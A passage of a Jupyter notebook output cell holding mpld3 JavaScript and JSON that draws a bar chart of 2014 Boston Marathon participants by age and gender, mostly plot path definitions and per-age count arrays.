1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data57\", \"id\": \"el126114702622672\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data57\", \"id\": \"el126114702624336\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data56\", \"id\": \"el126114702625616\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 4, \"data\": \"data57\", \"id\": \"el126114702643728\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data54\", \"id\": \"el126114702645392\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 4, \"data\": \"data56\", \"id\": \"el126114702659408\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 5, \"data\": \"data56\", \"id\": \"el126114702660688\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 1, \"xindex\": 0, \"data\": \"data62\", \"id\": \"el126114702671888\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data62\", \"id\": \"el126114702673168\"}, {\"edgecolor\": \"#000000\", \"facecolor\": \"#FFFFFF\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 1, \"xindex\": 0, \"data\": \"data63\", \"id\": \"el126114702662096\"}], \"sharey\": [], \"sharex\": [], \"axesbgalpha\": null, \"axes\": [{\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"bottom\", \"nticks\": 9, \"tickvalues\": null}, {\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"left\", \"nticks\": 8, \"tickvalues\": null}], \"lines\": [], \"markers\": [], \"id\": \"el126114390414032\", \"ydomain\": [0.0, 700.0], \"collections\": [], \"xscale\": \"linear\", \"bbox\": [0.125, 0.125, 0.77500000000000002, 0.77500000000000002]}], \"height\": 400.0, \"width\": 800.0, \"plugins\": [{\"type\": \"reset\"}, {\"enabled\": false, \"button\": true, \"type\": \"zoom\"}, {\"enabled\": false, \"button\": true, \"type\": \"boxzoom\"}], \"data\": {\"data42\": [[59.0, 0.0, 0.0], [59.8, 0.0, 0.0], [59.8, 240.0, 81.0], [59.0, 240.0, 81.0]], \"data43\": [[60.0, 0.0, 0.0], [60.8, 0.0, 0.0], [60.8, 306.0, 93.0], [60.0, 306.0, 93.0]], \"data40\": [[57.0, 0.0, 0.0], [57.8, 0.0, 0.0], [57.8, 373.0, 164.0], [57.0, 373.0, 164.0]], \"data41\": [[58.0, 0.0, 0.0], [58.8, 0.0, 0.0], [58.8, 263.0, 128.0], [58.0, 263.0, 128.0]], \"data46\": [[63.0, 0.0, 0.0], [63.8, 0.0, 0.0], [63.8, 181.0, 50.0], [63.0, 181.0, 50.0]], \"data47\": [[64.0, 0.0, 0.0], [64.8, 0.0, 0.0], [64.8, 151.0, 34.0], [64.0, 151.0, 34.0]], \"data44\": [[61.0, 0.0, 0.0], [61.8, 0.0, 0.0], [61.8, 253.0, 94.0], [61.0, 253.0, 94.0]], \"data45\": [[62.0, 0.0, 0.0], [62.8, 0.0, 0.0], [62.8, 221.0, 70.0], [62.0, 221.0, 70.0]], \"data48\": [[65.0, 0.0, 0.0], [65.8, 0.0, 0.0], [65.8, 168.0, 38.0], [65.0, 168.0, 38.0]], \"data49\": [[66.0, 0.0, 0.0], [66.8, 0.0, 0.0], [66.8, 147.0, 32.0], [66.0, 147.0, 32.0]], \"data50\": [[67.0, 0.0], [67.8, 0.0], [67.8, 110.0], [67.0, 110.0]], \"data53\": [[70.0, 0.0], [70.8, 0.0], [70.8, 48.0], [70.0, 48.0]], \"data61\": [[78.0, 0.0, 79.0, 80.0], [78.8, 0.0, 79.8, 80.8], [78.8, 3.0, 79.8, 80.8], [78.0, 3.0, 79.0, 80.0]], \"data63\": [[0.8326696908602151, 0.8387096774193546], [0.9892473118279571, 0.8387096774193546], [0.9892473118279571, 0.9784946236559137], [0.8326696908602151, 0.9784946236559137], [0.8326696908602151, 0.8387096774193546]], \"data28\": [[45.0, 0.0, 0.0], [45.8, 0.0, 0.0], [45.8, 671.0, 532.0], [45.0, 671.0, 532.0]], \"data06\": [[23.0, 0.0, 0.0], [23.8, 0.0, 0.0], [23.8, 124.0, 224.0], [23.0, 124.0, 224.0]], \"data52\": [[69.0, 0.0, 0.0, 70.0], [69.8, 0.0, 0.0, 70.8], [69.8, 42.0, 11.0, 70.8], [69.0, 42.0, 11.0, 70.0]], \"data08\": [[25.0, 0.0, 0.0], [25.8, 0.0, 0.0], [25.8, 213.0, 349.0], [25.0, 213.0, 349.0]], \"data09\": [[26.0, 0.0, 0.0], [26.8, 0.0, 0.0], [26.8, 277.0, 431.0], [26.0, 277.0, 431.0]], \"data20\": [[37.0, 0.0, 0.0], [37.8, 0.0, 0.0], [37.8, 408.0, 404.0], [37.0, 408.0, 404.0]], \"data21\": [[38.0, 0.0, 0.0], [38.8, 0.0, 0.0], [38.8, 407.0, 392.0], [38.0, 407.0, 392.0]], \"data22\": [[39.0, 0.0, 0.0], [39.8, 0.0, 0.0], [39.8, 446.0, 437.0], [39.0, 446.0, 437.0]], \"data05\": [[22.0, 0.0, 0.0], [22.8, 0.0, 0.0], [22.8, 108.0, 172.0], [22.0, 108.0, 172.0]], \"data02\": [[19.0, 0.0, 0.0, 67.0], [19.8, 0.0, 0.0, 67.8], [19.8, 27.0, 14.0, 67.8], [19.0, 27.0, 14.0, 67.0]], \"data04\": [[21.0, 0.0, 0.0], [21.8, 0.0, 0.0], [21.8, 77.0, 96.0], [21.0, 77.0, 96.0]], \"data26\": [[43.0, 0.0, 0.0], [43.8, 0.0, 0.0], [43.8, 524.0, 444.0], [43.0, 524.0, 444.0]], \"data01\": [[18.0, 0.0, 0.0, 68.0], [18.8, 0.0, 0.0, 68.8], [18.8, 21.0, 12.0, 68.8], [18.0, 21.0, 12.0, 68.0]], \"data55\": [[72.0, 0.0, 0.0], [72.8, 0.0, 0.0], [72.8, 28.0, 6.0], [72.0, 28.0, 6.0]], \"data60\": [[77.0, 0.0], [77.8, 0.0], [77.8, 6.0], [77.0, 6.0]], \"data23\": [[40.0, 0.0, 0.0], [40.8, 0.0, 0.0], [40.8, 533.0, 553.0], [40.0, 533.0, 553.0]], \"data62\": [[0.8412718413978496, 0.929032258064516, 0.8655913978494622], [0.8842825940860216, 0.929032258064516, 0.8655913978494622], [0.8842825940860216, 0.9591397849462364, 0.8956989247311826], [0.8412718413978496, 0.9591397849462364, 0.8956989247311826]], \"data57\": [[74.0, 0.0, 0.0, 75.0, 77.0], [74.8, 0.0, 0.0, 75.8, 77.8], [74.8, 14.0, 1.0, 75.8, 77.8], [74.0, 14.0, 1.0, 75.0, 77.0]], \"data51\": [[68.0, 0.0], [68.8, 0.0], [68.8, 70.0], [68.0, 70.0]], \"data24\": [[41.0, 0.0, 0.0], [41.8, 0.0, 0.0], [41.8, 501.0, 483.0], [41.0, 501.0, 483.0]], \"data56\": [[73.0, 0.0, 0.0, 76.0, 79.0, 80.0], [73.8, 0.0, 0.0, 76.8, 79.8, 80.8], [73.8, 22.0, 0.0, 76.8, 79.8, 80.8], [73.0, 22.0, 0.0, 76.0, 79.0, 80.0]], \"data03\": [[20.0, 0.0, 0.0], [20.8, 0.0, 0.0], [20.8, 47.0, 64.0], [20.0, 47.0, 64.0]], \"data27\": [[44.0, 0.0, 0.0], [44.8, 0.0, 0.0], [44.8, 507.0, 378.0], [44.0, 507.0, 378.0]], \"data07\": [[24.0, 0.0, 0.0], [24.8, 0.0, 0.0], [24.8, 172.0, 310.0], [24.0, 172.0, 310.0]], \"data54\": [[71.0, 0.0, 0.0, 78.0], [71.8, 0.0, 0.0, 78.8], [71.8, 54.0, 2.0, 78.8], [71.0, 54.0, 2.0, 78.0]], \"data37\": [[54.0, 0.0, 0.0], [54.8, 0.0, 0.0], [54.8, 395.0, 198.0], [54.0, 395.0, 198.0]], \"data36\": [[53.0, 0.0, 0.0], [53.8, 0.0, 0.0], [53.8, 432.0, 214.0], [53.0, 432.0, 214.0]], \"data35\": [[52.0, 0.0, 0.0], [52.8, 0.0, 0.0], [52.8, 499.0, 309.0], [52.0, 499.0, 309.0]], \"data34\": [[51.0, 0.0, 0.0], [51.8, 0.0, 0.0], [51.8, 540.0, 365.0], [51.0, 540.0, 365.0]], \"data25\": [[42.0, 0.0, 0.0], [42.8, 0.0, 0.0], [42.8, 568.0, 479.0], [42.0, 568.0, 479.0]], \"data32\": [[49.0, 0.0, 0.0], [49.8, 0.0, 0.0], [49.8, 480.0, 406.0], [49.0, 480.0, 406.0]], \"data31\": [[48.0, 0.0, 0.0], [48.8, 0.0, 0.0], [48.8, 516.0, 396.0], [48.0, 516.0, 396.0]], \"data30\": [[47.0, 0.0, 0.0], [47.8, 0.0, 0.0], [47.8, 599.0, 465.0], [47.0, 599.0, 465.0]], \"data59\": [[76.0, 0.0], [76.8, 0.0], [76.8, 13.0], [76.0, 13.0]], \"data58\": [[75.0, 0.0], [75.8, 0.0], [75.8, 16.0], [75.0, 16.0]], \"data39\": [[56.0, 0.0, 0.0], [56.8, 0.0, 0.0], [56.8, 416.0, 185.0], [56.0, 416.0, 185.0]], \"data38\": [[55.0, 0.0, 0.0], [55.8, 0.0, 0.0], [55.8, 487.0, 210.0], [55.0, 487.0, 210.0]], \"data19\": [[36.0, 0.0, 0.0], [36.8, 0.0, 0.0], [36.8, 457.0, 422.0], [36.0, 457.0, 422.0]], \"data18\": [[35.0, 0.0, 0.0], [35.8, 0.0, 0.0], [35.8, 403.0, 439.0], [35.0, 403.0, 439.0]], \"data15\": [[32.0, 0.0, 0.0], [32.8, 0.0, 0.0], [32.8, 389.0, 398.0], [32.0, 389.0, 398.0]], \"data14\": [[31.0, 0.0, 0.0], [31.8, 0.0, 0.0], [31.8, 368.0, 389.0], [31.0, 368.0, 389.0]], \"data17\": [[34.0, 0.0, 0.0], [34.8, 0.0, 0.0], [34.8, 362.0, 344.0], [34.0, 362.0, 344.0]], \"data16\": [[33.0, 0.0, 0.0], [33.8, 0.0, 0.0], [33.8, 372.0, 347.0], [33.0, 372.0, 347.0]], \"data11\": [[28.0, 0.0, 0.0], [28.8, 0.0, 0.0], [28.8, 315.0, 449.0], [28.0, 315.0, 449.0]], \"data10\": [[27.0, 0.0, 0.0], [27.8, 0.0, 0.0], [27.8, 287.0, 453.0], [27.0, 287.0, 453.0]], \"data13\": [[30.0, 0.0, 0.0], [30.8, 0.0, 0.0], [30.8, 339.0, 428.0], [30.0, 339.0, 428.0]], \"data12\": [[29.0, 0.0, 0.0], [29.8, 0.0, 0.0], [29.8, 319.0, 414.0], [29.0, 319.0, 414.0]], \"data29\": [[46.0, 0.0, 0.0], [46.8, 0.0, 0.0], [46.8, 660.0, 498.0], [46.0, 660.0, 498.0]], \"data33\": [[50.0, 0.0, 0.0], [50.8, 0.0, 0.0], [50.8, 611.0, 405.0], [50.0, 611.0, 405.0]]}, \"id\": \"el126114430985104\"});\n", " }(mpld3);\n", "}else if(typeof define === \"function\" && define.amd){\n", " // require.js is available: use it to load d3/mpld3\n", " require.config({paths: {d3: \"https://mpld3.github.io/js/d3.v3.min\"}});\n", " require([\"d3\"], function(d3){\n", " window.d3 = d3;\n", " mpld3_load_lib(\"https://mpld3.github.io/js/mpld3.v0.2.js\", function(){\n", " \n", " mpld3.draw_figure(\"fig_el1261144309851043272034110\", {\"axes\": [{\"xlim\": [10.0, 90.0], \"yscale\": \"linear\", \"axesbg\": \"#EEEEEE\", \"texts\": [{\"v_baseline\": \"auto\", \"h_anchor\": \"middle\", \"color\": \"#000000\", \"text\": \"2014 Boston Marathon participants, by age and gender\", \"coordinates\": \"axes\", \"zorder\": 3, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.5, 1.0179211469534051], \"rotation\": -0.0, \"id\": \"el126114701792976\"}, {\"v_baseline\": \"auto\", \"h_anchor\": \"start\", \"color\": \"#000000\", \"text\": \"Men\", \"coordinates\": \"axes\", \"zorder\": 1000003.0, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.90148689516129055, 0.92903225806451595], \"rotation\": -0.0, \"id\": \"el126114702671056\"}, {\"v_baseline\": \"auto\", \"h_anchor\": \"start\", \"color\": \"#000000\", \"text\": \"Women\", \"coordinates\": \"axes\", \"zorder\": 1000003.0, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.90148689516129055, 0.86559139784946215], \"rotation\": -0.0, \"id\": \"el126114702672272\"}], \"zoomable\": true, \"images\": [], \"xdomain\": [10.0, 90.0], \"ylim\": [0.0, 700.0], \"paths\": [{\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data01\", \"id\": \"el126114701857808\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data02\", \"id\": \"el126114701859664\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data03\", \"id\": \"el126114701877776\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data04\", \"id\": \"el126114701879440\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data05\", \"id\": \"el126114701893456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data06\", \"id\": \"el126114701895120\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data07\", \"id\": \"el126114701896400\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data08\", \"id\": \"el126114701914896\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data09\", \"id\": \"el126114701916560\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data10\", \"id\": \"el126114701926480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data11\", \"id\": \"el126114701928144\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data12\", \"id\": \"el126114701929424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data13\", \"id\": \"el126114701943824\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data14\", \"id\": \"el126114701945488\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data15\", \"id\": \"el126114701955408\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data16\", \"id\": \"el126114701957072\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data17\", \"id\": \"el126114701975184\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data18\", \"id\": \"el126114701976848\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data19\", \"id\": \"el126114701978512\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data20\", \"id\": \"el126114701988432\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data21\", \"id\": \"el126114701990096\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data22\", \"id\": \"el126114702004112\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data23\", \"id\": \"el126114702005776\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data24\", \"id\": \"el126114702007056\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data25\", \"id\": \"el126114702021456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data26\", \"id\": \"el126114702023120\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data27\", \"id\": \"el126114702037136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data28\", \"id\": \"el126114702038800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data29\", \"id\": \"el126114702052816\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data30\", \"id\": \"el126114702054480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data31\", \"id\": \"el126114702056144\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data32\", \"id\": \"el126114702074256\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data33\", \"id\": \"el126114702075920\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data34\", \"id\": \"el126114702085840\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data35\", \"id\": \"el126114702087504\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data36\", \"id\": \"el126114702089168\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data37\", \"id\": \"el126114702107280\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data38\", \"id\": \"el126114702108944\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data39\", \"id\": \"el126114702114768\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": 